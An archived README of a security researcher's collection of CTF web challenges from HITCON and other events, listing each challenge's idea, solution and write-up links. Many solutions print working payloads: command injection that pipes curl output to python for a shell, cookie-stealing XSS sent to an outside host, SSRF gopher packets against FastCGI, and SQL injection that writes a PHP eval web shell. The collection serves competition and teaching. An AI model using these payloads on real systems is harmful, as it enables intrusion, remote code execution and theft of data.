

GitHub - orangetw/My-CTF-Web-Challenges: Collection of CTF Web challenges I made · GitHub

GitHub - orangetw/My-CTF-Web-Challenges: Collection of CTF Web challenges I made · GitHub - orangetw, GitHub.

- Published: date not stated
- Original: <https://github.com/orangetw/My-CTF-Web-Challenges>
- Preserved from: <https://github.com/orangetw/My-CTF-Web-Challenges> (preserved-copy) on 2026-08-04
- Repository commit: 46e3863275880e2fc025a43303d09a50f2da22c3
- Licence: see the repository

Rights remain with the original author and publisher. This is a research archive of a source cited by ysonet, kept so the technique survives the page going offline. To read the original, follow the link above.

Content (English translation)

English translation. Original text is retained in the content store; the source PDF, when available, retains its original language.

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Repository reading copy: selected documentation at the recorded commit. Source code is never checked out, built or run.

- Repository: <https://github.com/orangetw/My-CTF-Web-Challenges>
- Commit: 46e3863275880e2fc025a43303d09a50f2da22c3
- Documents preserved: 1

README.md

Blob 9c84ced63da4, 37507 bytes, at commit 46e386327588.

My CTF Web Challenges

This is the repository of all CTF challenges I made, including the source code, write-up and idea explanation! Hope you like it :)

P.s. BTW, the Babyfirst series and One Line PHP Challenge are my favorite challenges. If you haven't enough time, please look them at least!

- Babyfirst

- Babyfirst Revenge
- Babyfirst Revenge v2
- One Line PHP Challenge

And you can find me via:

- Email: orange@chroot.org
- Blog: <http://blog.orange.tw>
- Twitter: [@orange_8361](https://twitter.com/orange_8361)

Table of Content

- HITCON 2025
 - Pholyglot
 - No Man's Echo
- HITCON 2021
 - W3rmup PHP
 - One-Bit Man
 - Metamon Verse
 - FBI Warning
 - Vulpixelize
- HITCON 2020
 - oShell
 - oStyle
 - Return of Use-After-Flee
- HITCON 2019 Quals
 - Virtual Public Network
 - Bounty PI33z
 - GoGo PowerSQL
 - Luatic
 - Buggy .Net
- HITCON 2018
 - One Line PHP Challenge
 - Baby Cake
 - Oh My Raddit
 - Oh My Raddit v2
 - Why so Serials?

- HITCON 2017 Quals
 - BabyFirst Revenge
 - BabyFirst Revenge v2
 - SSRFme?
 - SQL so Hard
 - Baby^H Master PHP 2017
- HITCON 2016 Quals
 - %%%
 - Leaking
 - BabyTrick
 - Angry Boy
 - Angry Seam
- HITCON 2015 Quals
 - Babyfirst
 - nanana
 - Giraffe's Coffee
 - lalala
 - Use-After-FLEE
- HITCON 2014 Quals
 - PUSHIN CAT
 - PY4H4SHER
 - LEENODE
- WCTF 2016
 - BlackBox
- AIS3 Final 2015 Final
 - SQLPWN

Pholyglot

Difficulty: ★★ Solved: **31 / 717** Tag: **PHP, SQLite**

Source Code

- [Source](#)

Idea

- [VACUUM](#)
- BabyFirst Revenge v2

Solution

- TBD

Write Ups

- TBD

No Man's Echo

Difficulty: ★★ Solved: **53 / 717** Tag: **PHP, TCP/IP**

Source Code

- [Source](#)

Idea

- [TCP Client Self-Connect \(2013\)](#)

Solution

- TBD

Write Ups

- TBD

W3rmup PHP

Difficulty: ★★ Solved: **22 / 666** Tag: **PHP, Code Review, YAML, Command Injection**

Source Code

- [Source](#)

Idea

- [The Norway Problem](#), the country code of Norway (NO) becomes `False` in YAML
- Bypass the `escapeshellarg` by the logic problem of `count()` + `unset()`

Solution

- TBD

Write Ups

- TBD

One-Bit Man

Difficulty: ★ Solved: **49 / 666** Tag: **PHP, Code Review**

Source Code

- [Source](#)

Idea

You can flip 1-bit on any file of the latest version of WordPress and you have to pwn the server.

Solution

Flip the position 5389 of the file `/var/www/html/wp-includes/user.php` to NOP the NOT (!) operation.

```
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {  
    return new WP_Error(
```

Write Ups

- TBD

Metamon Verse

Difficulty: ★★★☆ Solved: 9 / 666 Tag: **NFS, SSRF, RCE**

Source Code

- [Source](#)

Idea

The idea is using the SSRF to communicate with the local NFS/RPC server to get the RCE. To complete the exploit, you have to:

1. Construct the `RPC/PORTMAP_CALL` packet and send to `gopher://127.0.0.1:111/` to get the port of `mountd` service.
2. Construct the `RPC/MNT_CALL` packet and send to `gopher://127.0.0.1:<mnt-port>/` to get the file-handler of `/data` volume (remember to specify `CURLOPT_LOCALPORT` to bypass the authentication)
3. Construct the `RPC/NFS_CALL` packet and send to `gopher://127.0.0.1:2049/` to create a SYMLINK (remember to specify `CURLOPT_LOCALPORT` to bypass the authentication)
4. Symlink the `/app/templates/index.html` to a controllable file to get a SSTI and get the RCE!

Solution

An dirty exploit code can be found [here](#)

Write Ups

- TBD

FBI Warning

Difficulty: ☆ Solved: **25 / 666** Tag: **MISC, OSINT ,PHP, Code Review**

Source Code

- [Source](#)

Idea

The website uses a famous Message Board project [futaba-ng](#), and the ID generation is based on `REMOTE_ADDR`:

```
define("IDSEED", 'id[]');           //the id seed
...
$now.=" ID:".substr(crypt(md5($_SERVER["REMOTE_ADDR"].IDSEED.gmtime("Ymd",
$time+9*60*60)), 'id'), -8);
```

Solution

Because of the known IP prefix, you can identify the IP address of Orange by brute-force easily.

```
var_dump( substr(crypt(md5("219.91.64.47"."id[]"."20211203"), "id"), -8) == "ueyUrcwA" )
// bool(true)
```

Write Ups

- TBD

Vulpixelize

Difficulty: ★☆ Solved: **41 / 666** Tag: **Browser, Feature**

Source Code

- [Source](#)

Idea

Use the Chrome new feature [Text Fragments](#) to extract the flag.

Solution

- TBD

Write Ups

- TBD

oShell

Difficulty: ★★ Solved: **21 / 1281** Tag: **BlackBox, Shell ,Command Injection**

Source Code

- [Source](#)

Solution

1. Leveraging `strace` in `htop` to read enable secret.
2. Writing `/home/oShell/.toprc` with `tcpdump -w`
3. Abusing `top` inspect feature to run arbitrary commands

Write Ups

- [Writeup from team FrenchRoomba](#)

oStyle

Difficulty: ★★☆☆ Solved: **10 / 1281** Tag: **XSS**

Source Code

- [Source](#)

Solution

- The default Apache installation enabled `mod_negotiation`, which allows `.var` mapping and you can specify arbitrary content-type there.

test.var

```
Content-language: en
Content-type: text/html
Body:----foo----

<script>
fetch('http://orange.tw/?' + escape(document.cookie))
</script>

----foo----
```

Write Ups

- TBD

Return of Use-After-Flee

Difficulty: ★★★★★ Solved: **0 / 1281** Tag: **WhiteBox, PHP, UAF, PWN**

Source Code

- [Source](#)

Solution

- Exploiting `CVE-2015-0273` to pop the shell without known binaries. More detail will be published in [my blog](#) soon.

Write Ups

- TBD

Virtual Public Network

Difficulty: ★☆ Solved: **81 / 1147** Tag: **WhiteBox, Perl, Command Injection**

Source Code

- [Source](#)

Solution

- Refer my blog and Black Hat 2019 USA slides for details
 - [Attacking SSL VPN - Part 3: The Golden Pulse Secure SSL VPN RCE Chain, with Twitter as Case Study!](#)
 - [Infiltrating Corporate Intranet Like NSA: Pre-auth RCE on Leading SSL VPNs](#)

```
http://13.231.137.9/cgi-bin/diag.cgi
?options=-r@a="ls -alh /",system@a%23 2>tmp/orange.html <
&tpl=orange
```

Write Ups

- TBD

Bounty PI33z

Difficulty: ★★★☆ Solved: **30 / 1147** Tag: **XSS**

Source Code

- [Website](#)
- [XSS bot](#)

Solution

- Idea from @FD - A little known JavaScript comment style [SingleLineHTMLOpenComment](#) and [HTMLCloseComment](#) in EMCA specification.

Here we use unicode `U+2028` and `U+3002` to bypass `\n` and `.` filters.

```
http://3.114.5.202/fd.php
?q=ssl[]orange[]tw?xx"%2bdocument[`cookie`]E2%80%A8-->
```

Unintended Solution

- Nesting template expression

```
http://3.114.5.202/fd.php
?q=ssl[]orange[]tw?`%2b"%2bdocument[`cookie`]`;(`${`
```

Write Ups

- TBD

GoGo PowerSQL

Difficulty: ★★★☆ Solved: **16 / 1147** Tag: **Environment Injection, MySQL Client Attack**

Source Code

- [Docker](#)

Solution

1. Buffer Overflow the `DB_HOST` in BSS
2. Due to the [patch](#), we can pollute environment variable which are not in the [Blacklist](#).
3. Hijack MySQL connection by ENV such as `LOCALDOMAIN` or `HOSTALIAES`
4. Read `/FLAG` by `LOAD DATA LOCAL INFILE`.

```
import requests

payload = ['x=x' for x in range(254)]
payload.append('name=x')
payload.append('HOSTALIAES=/proc/self/fd/0')
payload.append('orangeeeee=go')
payload = '&'.join(payload)

data = 'orangeeeee my.orange.tw'

r = requests.post('http://13.231.38.172/cgi-bin/query?' + payload, data=data)
print r.content
```

```
$ git clone https://github.com/lcark/MysqlClientAttack.git
$ cd MysqlClientAttack
$ python main.py -F /FLAG
```

Write Ups

- TBD

Luatic

Difficulty: ★★☆☆ Solved: **42 / 1147** Tag: **WhiteBox, Redis, Lua**

Source Code

- [Docker](#)

Solution

1. Override PHP global variables.
2. Redis [implements](#) `eval` command by string concatenations so that we can escape the original Lua function to override global objects.

```
http://54.250.242.183/luatic.php
?_POST[TEST_KEY]=return 1 end function math:random() return 2
&_POST[TEST_VALUE]=0
&_POST[MY_SET_COMMAND]=eval
&_POST[token]=<token>
&_POST[guess]=2
```

```
http://54.250.242.183/luatic.php
?_POST[token]=<token>
&_POST[guess]=2
```

Unintended Solution

- Lua is so magic that there are several unintended solutions. Sorry for the imperfect challenge :(

Write Ups

- TBD

Buggy .Net

Difficulty: ★☆☆ Solved: **13 / 1147** Tag: **ASP.NET, WhiteBox**

Source Code

- [Default.aspx](#)

Solution

- Using .NET request validation to trigger the exception and bypass the filter
- Idea from [Soroush Dalili's WAF Bypass Techniques - Using HTTP Standard and Web Servers' Behaviour](#) in AppSec Europe 2018(p30~p34)

```
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61

%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
```

```
from urllib import quote

s = lambda x: quote(x.encode('ibm500'))
print '%s=%s&x=%s' % (s('filename'), s('../../FLAG.txt'), s('<x>'))
```

Write Ups

- TBD

One Line PHP Challenge

Difficulty: ★★★★★ Solved: 3 / 1816 Tag: PHP

Source Code

- [index.php](#)

Solution

P.S. This is a default installation PHP7.2 + Apache on Ubuntu 18.04

1. Control partial session file content by `PHP_SESSION_UPLOAD_PROGRESS`
2. Bypass `session.upload_progress.cleanup = 0n` by `race condition` or `slow query`
3. Control the prefix to `@<?php` by chaining PHP wrappers

- [exp_for_php.py](#)
- [Offical writeup for One Line PHP Challenge](#)

Write Ups

- [\(English\)One Line PHP Challenge](#)
- [\(Chinese\)One Line PHP Challenge](#)

- [hitcon2018 One Line PHP Challenge](#)
- [hitcon 2018 suffering notes part one: studying one-line-php-challenge](#)

Baby Cake

Difficulty: ★★★ Solved: **4 / 1816** Tag: **Code Review, PHP, De-serialization**

Source Code

- [index.php](#)

Solution

Due to the implement of `CURLOPT_SAFE_UPLOAD` in CakePHP `FormData.php`. We can read arbitrary files!

```
# arbitrary file read, listen port 12345 on your server
http://13.230.134.135/
?url=http://your_ip:12345/
&data[x]=@/etc/passwd

# arbitrary de-serialization the Monolog POP chain
http://13.230.134.135/
?url=http://your_ip:12345/
&data[x]=@phar://../tmp/cache/mycache/[you_ip]/[md5_of_url]/body.cache
```

- [exploit.phar](#)

Write Ups

- [Baby Cake](#)
- [Hitcon 2018 Web - Oh My Raddit / Baby Cake writeup](#)
- [Baby Cake, from the HITCON CTF 2018 Web WP](#)

Oh My Raddit

Difficulty: ★★☆☆ Solved: **27 / 1816** Tag: **Observation, DES checksum, Crypto, Web**

Source Code

- [app](#)

Solution

1. Know `ECB` mode from block frequency analysis
2. Know `block size = 8` from cipher length
3. From the information above, it's reasonable to use `DES` in real world

4. The most common block is `3ca92540eb2d0a42` (always in the cipher end). We can guess it's the padding `\x08\x08\x08\x08\x08\x08\x08\x08`
5. Due to the checking parity in [DES](#), we can reduce the keyspace from 26(`abcdefghijklmnopqrstuvwxyz`) to 13(`acegikmoqsuwy`)
 - Break in 1 second with `HashCat`
 - Break in 10 minutes with single thread Python

Write Ups

- [Oh My Raddit](#)
- [Oh my raddit](#)
- [2018HITCON-Oh My Raddit & v2 writeup](#)

Oh My Raddit v2

Difficulty: ★★ Solved: **10 / 1816** Tag: **Web.py, SQL Injection to RCE**

Source Code

- [app](#)

Solution

- Read the package version from `requirements.txt`
- [Remote Code Execution in Web.py framework](#)
- [exp.py](#)

Write Ups

- [Oh My Raddit V2](#)
- [Oh My Raddit v2](#)
- [2018HITCON-Oh My Raddit & v2 writeup](#)

Why so Serials?

Difficulty: ★★★★★ Solved: **1 / 1816** Tag: **De-serialization, RCE, ASP.NET, View State**

Source Code

- [Default.aspx](#)

Solution

1. Get the `machineKey` in `web.config` by Server-Side-Includes(`.shtml` or `.stm`)
2. Exploit `ASP.NET` `__VIEWSTATE` by [ysoserial.net](#)

Write Ups

- [HITCON 2018: Why so Serials? Write-up](#)

- [HITCON CTF 2018 - Why so Serials? Writeup](#)

BabyFirst Revenge

Difficulty: ★☆ Solved: **95 / 1541** Tag: **WhiteBox, PHP, Command Injection**

Idea

- Command Injection, but only in **5** bytes

Source Code

- [index.php](#)

Solution

```
# generate `ls -t>g` to file "_"
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_

# generate `curl orange.tw|python` to file "g"
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>|\ \
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>r\ \
http://host/?cmd=>cu\
http://host/?cmd=sh _

# got shell
http://host/?cmd=sh g
```

You can check the [exploit.py](#) for the detail! And there are also lots of creative solutions, you can check the write ups below.

Write Ups

- [HITCON CTF 2017-BabyFirst Revenge-writeup](#)
- [HITCON CTF 2017-BabyFirst Revenge-writeup \(Via curl\)](#)
- [HITCON 2017 CTF BabyFirst Revenge](#)
- [HITCON CTF 2017 - BabyFirst Revenge \(172 pts.\)](#)
- [Hitcon CTF 2017 - Baby Revenge](#)
- [Hitcon CTF 2017 Quals: Baby First Revenge \(web 172\) \(Via xxd\)](#)
- [HITCON CTF 2017 BabyFirst Revenge & v2 writeup](#)
- [BabyFirst-Revenge-HITCOIN-2017-QUALS by @n4p5ter](#)

BabyFirst Revenge v2

Difficulty: ★★★★★ Solved: **8 / 1541** Tag: **WhiteBox, PHP, Command Injection**

Idea

- Command Injection, but only in **4** bytes

Source Code

- [index.php](#)

Solution

1. generate `g> ht- sl` to file `v`
2. reverse file `v` to file `x`
3. generate `curl orange.tw|python;`
4. execute `x`, `ls -th >g`
5. execute `g`

You can check [exploit.py](#) for the detail!

Write Ups

- [Baby First Revenge v2 \(Via vim\) by @bennofs](#)
- [\[\[python\\] baby-exp.py\]\(https://codegists.com/snippet/python/baby-exppy_beched_python\)](#)
- [How to solve a CTF challenge for \\$20 - HITCON 2017 BabyFirst Revenge v2](#)
- [HITCON CTF 2017 BabyFirst Revenge & v2 writeup](#)

SSRFme?

Difficulty: ★★☆☆ Solved: **20 / 1541** Tag: **WhiteBox, Perl, PATH Pollution**

Idea

- [CVE-2016-1238](#) (But the latest version of Ubuntu 17.04 in AWS is still vulnerable)
- Perl lookup current directory in module importing

- Perl module [URI/lib/URI.pm#L136](#) will `eval` if there is a unknown scheme

Source Code

- [index.php](#)

```
$ sudo apt install libwww-perl
```

Solution

```
# write evil URI module to current directory
$ curl http://host/?filename=URI/orange.pm&url=http://orange.tw/w/backdoor.pl

# eval evil module `orange`
$ curl http://host/?filename=xxx&url=orange://orange.tw
```

Write Ups

- [Another Solution by @Paul_Axe](#)
- [HITCON 2017 SSRFme](#)
- [SSRFme by @sorgloomer](#)

SQL so Hard

Difficulty: ★★★ Solved: **10 / 1541** Tag: **WhiteBox, MySQL, PostgreSQL, SQL Injection, Code Injection**

Idea

- MySQL `max_allowed_packet` dropped large size SQL sentence
- [Node-Postgres - code execution vulnerability](#)
- Exploit the RCE in SQL `UPDATE` syntax

Source Code

- [app.js](#)

Solution

- [exploit.py](#)

Write Ups

- [SQL so Hard by @sorgloomer](#)

Baby^H Master PHP 2017

Difficulty: ★★★★★☆ Solved: **0 / 1541** Tag: **WhiteBox, PHP, Serialization, Apache Prefork**

Idea

- PHP do the de-serialization on `PHAR` parsing
- PHP assigned a predictable function name `\x00lambda_%d` to an anonymous function
- Break shared VARIABLE state in Apache Pre-fork mode

Source Code

- [index.php](#)

Solution

```
# get a cookie
$ curl http://host/ --cookie-jar cookie

# download .phar file from http://orange.tw/avatar.gif
$ curl -b cookie 'http://host/?m=upload&url=http://orange.tw/'

# force apache to fork new process
$ python fork.py &

# get flag
$ curl -b cookie "http://host/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"
```

- [avatar.gif](#)
- [fork.py](#)

Write Ups

- [By default File reading => unserialize !](#)

papapa

Difficulty: ★ Solved: **71 / 1024** Tag: **BlackBox, SSL, Pentesting**

Idea

- Leak the internal hostname from SSL certificate

Source Code

- [here](#)

Solution

```
$ openssl s_client -showcerts -connect 1.2.3.4:443 < /dev/null | openssl x509 -text |  
grep -A 1 "Subject Alternative Name"  
...  
depth=0 C = TW, ST = Some-State, O = Internet Widgits Pty Ltd, CN = very-secret-area-for-  
ctf.orange.tw, emailAddress = orange@chroot.org  
...  
# get flag  
$ curl -k -H "host: very-secret-area-for-ctf.orange.tw" https://1.2.3.4/
```

Write Ups

- [HITCON 2016](#)
- [HITCON CTF 2016: %%% \(Web\) Write-up](#)
- [\[\\[HITCON 2016\\] \\[WEB 100 - %%%\\] WRITE UP\]](#)
(<https://0x90r00t.com/2016/10/10/hitcon-2016-web-100-write-up/>)
- [hitcon2016 web writeup](#)

Leaking

Difficulty: ★★ Solved: **43 / 1024** Tag: **WhiteBox, JavaScript, NodeJS**

Idea

- Break JavaScript Sandbox
- Use NodeJS `Buffer(int)` to steal uninitialized memory
- [Node.js Buffer knows everything](#)

Source Code

- [here](#)

Solution

```
$ while true; do curl 'http://1.2.3.4/?data=Buffer(1e4)' | grep -a hitcon; done;
```

Write Ups

- [Hello HitCon 2016 CTF](#)
- [HITCON 2016 web summary](#)
- [hitcon2016 web writeup](#)

BabyTrick

Difficulty: ★★★ Solved: **24 / 1024** Tag: **WhiteBox, PHP, MySQL, SQL Injection, Unserialize**

Idea

- [Create an Unexpected Object and Don't Invoke `\\_\\_wakeup\(\)` in Deserialization](#)
- [SugarCRM v6.5.23 PHP deserialization object injection vulnerability](#)
- MySQL UTF-8 collation - `SELECT 'Ä'='a'` is True

Source Code

- [here](#)

Solution

```
# get password
curl http://1.2.3.4/
?data=0:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:
{i:0;s:39:" 'union%20select%201,2,password%20from%20users%23";}}

# get flag
curl http://1.2.3.4/
?data=0:6:"HITCON":2:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:
{i:0;s:7:"orÄnge";i:1;s:13:"babytrick1234";}}
```

Write Ups

- [Hitcon 2016 – Baby Trick](#)
- [Hello HitCon 2016 CTF](#)
- [hitcon2016 web writeup](#)

Angry Boy

Difficulty: ★★☆☆ Solved: **43 / 1024** Tag: **GrayBox, Java**

Idea

- `new String(new byte[] {1, -1, 1, -1})` will output `01EFBFBD01EFBFBD`, not `01FF01FF`
- [When 'EFBFBD' And Friends Come Knocking: Observations Of Byte Array To String Conversions](#)

Source Code

- [here](#)

Solution

- [exploit.py](#)
- [decrpt.py](#)

Write Ups

- [Angry Boy - Web 300 Problem](#)

Angry Seam

Difficulty: ★★★★★ Solved: **4 / 1024** Tag: **GrayBox, Java, Seam Framework, CSS RPO, EL Injection, Java Deserialization**

Idea

- CSS Relative Path Overwrite
- Built-in redirection parameter `actionOutcome`
- [RPO Gadgets](#)
- [CVE-2010-1871: JBoss Seam Framework remote code execution](#)

Source Code

- [here](#)

Solution

P.s. I made this challenge because once when I try to review the code of Seam Framework, I found some 0-days and I think it must have more. So I throw out the brick to attract a jade. And the result is more than I expected :P

Intended solution

- Register an account

```
username: `AAAAAA`
password: `AAAAAA`
realname: `{/*;*}%0a@import'http://orange.tw/?`
```

- Report URL

```
http://1.2.3.4:8080/angryseam/profile.seam?actionOutcome=/profile.seam?
username%3dAAAAAA
```


Unintended solution

- Register an account
- Update description to
- Login and access

```
/?x=#{expressions.instance().createValueExpression(request.getHeader('cmd')).getValue()}}
```

```
GET /angryseam/template.seam?
actionMethod=template.xhtml:util.escape(sessionScope['user'].getDescription()) HTTP/1.1
host: 1.2.3.4
cmd: #{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()
[15].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()
[7].invoke(null), request.getHeader('ccc'))}
ccc: ls -alh
...
```

Unintended solution

- CVE-2013-2165 Java deserialization vulnerability

Unintended solution

- SESSION manipulation... seam SUCKS

Write Ups

- [Web500 Hitconctf 2016 and exploit CVE-2013-2165](#)
- [Angry Seam \(500 pts\)](#)

Babyfirst

Solved: **33 / 969** Difficulty: ★★ Tag: **WhiteBox, PHP, Command Injection**

Idea

- Use `NewLine` to bypass regular expression check
- Command injection only with alphanumeric characters

Source Code

- [here](#)

```

<?php
    highlight_file(__FILE__);

    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
    if ( !file_exists($dir) )
        mkdir($dir);
    chdir($dir);

    $args = $_GET['args'];
    for ( $i=0; $i<count($args); $i++ ){
        if ( !preg_match('/^\w+$/ ', $args[$i]) )
            exit();
    }

    exec("/bin/orange " . implode(" ", $args));
?>

```

Solution

```

http://localhost/
?args[0]=x%0a
&args[1]=mkdir
&args[2]=orange%0a
&args[3]=cd
&args[4]=orange%0a
&args[5]=wget
&args[6]=846465263%0a

http://localhost/
?args[0]=x%0a
&args[1]=tar
&args[2]=cvf
&args[3]=aa
&args[4]=orange%0a
&args[5]=php
&args[6]=aa

```

And there are also lots of creative solutions, you can check the write ups below.

Write Ups

- [babyfirst \(web 100\)](#)
- [HITCON CTF 2015 Web 100 Web 300 Writeup](#)
- [HITCON 2015 Quals: Babyexploit](#)

- [Babyfirst \(web, 100p, ?? solves\)](#)

nanana

Difficulty: ★★★ Solved: **18 / 969** Tag: **GrayBox, C, PWN**

Idea

- Pwn without library
- Format String without output
- Bypass Stack Guard by using overflow `ARGV[1]`

Source Code

- [here](#)

Solution

- [exploit.py](#)

Write Ups

- [nanana \(pwn, web 200\)](#)
- [HITCON 2015 Quals: Nanana](#)
- [Pwning \(sometimes\) with style - Dragons' notes on CTFs](#)

Giraffe's Coffee

Difficulty: ★★★☆ Solved: **16 / 969** Tag: **WhiteBox, PHP**

Idea

- Break PHP PRNG
- Break shared PRNG STATE in Apache Prefork mode

Source Code

- [here](#)

Solution

TBD

Write Ups

- [HITCON CTF 2015 Web 100 Web 300 Writeup](#)
- [Giraffe's Coffee - Web 300 Problem - Writeup by Robert Xiao \(@nneonneo\)](#)
- [HITCON 2015 WEB 300](#)

lalala

Difficulty: ★★★☆ Solved: **2 / 969** Tag: **BlackBox, PHP, SSRF**

Idea

- Bypass SSRF restriction with 302 redirect
- Exploit FASTCGI protocol by using GOPHER

Source Code

- [here](#)

Solution

```
<?php
header( "Location:
gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%01%04Zh%00%86%00%00
%0E%03REQUEST_METHODGET%0F%0ASCRIP_T_FILENAME/www/a.php%0F%16PHP_ADMIN_VALUEallow_url_incl
ude%20%3D%200n%09%26PHP_VALUEauto_prepend_file%20%3D%20http%3A//orange.tw/x%01%04Zh%00%00
%00%00%01%05Zh%00%00%00%00" );
```

Write Ups

- [HITCON CTF 2015 Web 100 Web 300 Writeup](#)
- [Hitcon 2015 lalala web400 task](#)

Use-After-FLEE

Solved: **1 / 969** Difficulty: ★★★★★☆ Tag: **WhiteBox, PHP, UAF, PWN**

Idea

- Bypass open_basedir
- Bypass disable_functions
- PHP use-after-free exploit writing
- Bypass full protection (DEP / ASLR / PIE / FULL RELRO)
- [Yet Another Use After Free Vulnerability in unserialize\(\) with SplDoublyLinkedList](#)

Source Code

- [here](#)

Solution

TBD

Write Ups

- [Use-After-FLEE \(pwn, web 500\)](#)

PUSHIN CAT

Solved: **8 / 1020** Difficulty: ★★ Platform: **BlackBox, PHP, H2, SQL Injection**

Idea

- SQL Injection on H2 Database
- Execute Code by using H2 SQL Injection

Source Code

- [here](#)

Solution

TBD

Write Ups

- [HITCON CTF 2014: PUSHIN CAT](#)
- [HITCON CTF 2014 - PUSHIN CAT \(H2 DB Insert SQL Injection\)](#)
- [HITCON CTF 2014](#)

PY4H4SHER

Solved: **30 / 1020** Difficulty: ★★☆ Tag: **WhiteBox, Python, Collision, HPP**

Idea

- Python CGI HTTP Pollution
- MySQL old_password hash collisions
- [PBKDF2+HMAC hash collisions explained](#)

Source Code

- [here](#)

Solution

TBD

Write Ups

- [HITCON CTF 2014: PY4H4SHER](#)
- [HITCON CTF 2014: PY4H4SHER WRITEUP](#)
- [py4h4sher_solution.py](#)
- [HITCON CTF 2014](#)

LEENODE

Solved: **2 / 1020** Difficulty: ★★★ Tag: **BlackBox, ColdFusion, Apache**

Idea

- Multilayered architecture vulnerability
- Double Encoding

Source Code

- [here](#)

Solution

```
# get password
$ curl http://1.2.3.4/admin%252f%252ehpasswd%2500.cfm

# get flag
$ curl http://1.2.3.4/admin/thefl4g.txt
```

Write Ups

- [HITCON CTF 2014: LEENODE](#)
- [(web) LEENODE [250]]
(<http://cdepillabout.github.io/ctf/2014/hitcon/leenode/writeup.html>)
- [CTF/Writeup/HITCON2014/LEENODE](#)

BlackBox

Solved: **0 / 12** Difficulty: ★★★★ Tag: **GrayBox, PHP, JAVA, mod_jk, H2, SQL Injection, WAF**

Idea

- Multilayered architecture vulnerability
- Default and up to date mod_jk leads to directory traversal
- Bypass WAF by incorrect usage of BASE64 and URLENCODE
- SQL Injection on H2 Database
- Execute Code by using H2 SQL Injection

Source Code

- [here](#)

Solution

- Get source code

```
http://1.2.3.4/login/../../../../
```

- Review code and find a way to bypass WAF

```
$ curl "http://1.2.3.4/news/?id=1~~~~" and 1=2 union select null,null,version(),null--"
$ curl "http://1.2.3.4/news/?id=1~~~~" and 1=2 union select
null,null,file_read('/etc/apache2/sites-enabled/000-default.conf'),null--"
```

- Write shell

```
$ curl "http://1.2.3.4/news/?id=1~~~~" and 1=2 union select
null,null,file_write('3c3f706870206576616c28245f504f53545b6363635d293b3f3e',
'/www/write_shell_here_=P/.a.php'),null--"
$ curl "http://1.2.3.4/write_shell_here_=P/.a.php" -d 'phpinfo();'
```

Write Ups

TBD

SQLPWN

Solved: 0 / ?? Difficulty: ★★★ Tag: **WhiteBox, PHP, SQL Injection, LFI, Race Condition**

Idea

- One-byte off SQL Injection
- Race Condition
- Local file inclusion with PHP session

Source Code

- [here](#)

Solution

- Run [exploit.py](#) to win race condition
- Login and SQL Injection

```
$ curl http://1.2.3.4/sqlpwn.php -d 'title=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\&note=,
concat(0x3a3a3a3a3a3a,(select pass from users where name=0x6f72616e6765)))#'
```

- Local file inclusion with session

```
$ curl http://1.2.3.4/sqlpwn.php?
mode=admin&boom=../../../../../../../../var/lib/php5/sess_243220
```

Write Ups

- [AIS3 Final CTF Web Writeup \(Race Condition & one-byte off SQL Injection\)](#)
- [AIS3 CTF Final Web1 & Web2](#)

Archived from <https://github.com/orangetw/My-CTF-Web-Challenges>. Rendered offline from the local Markdown copy.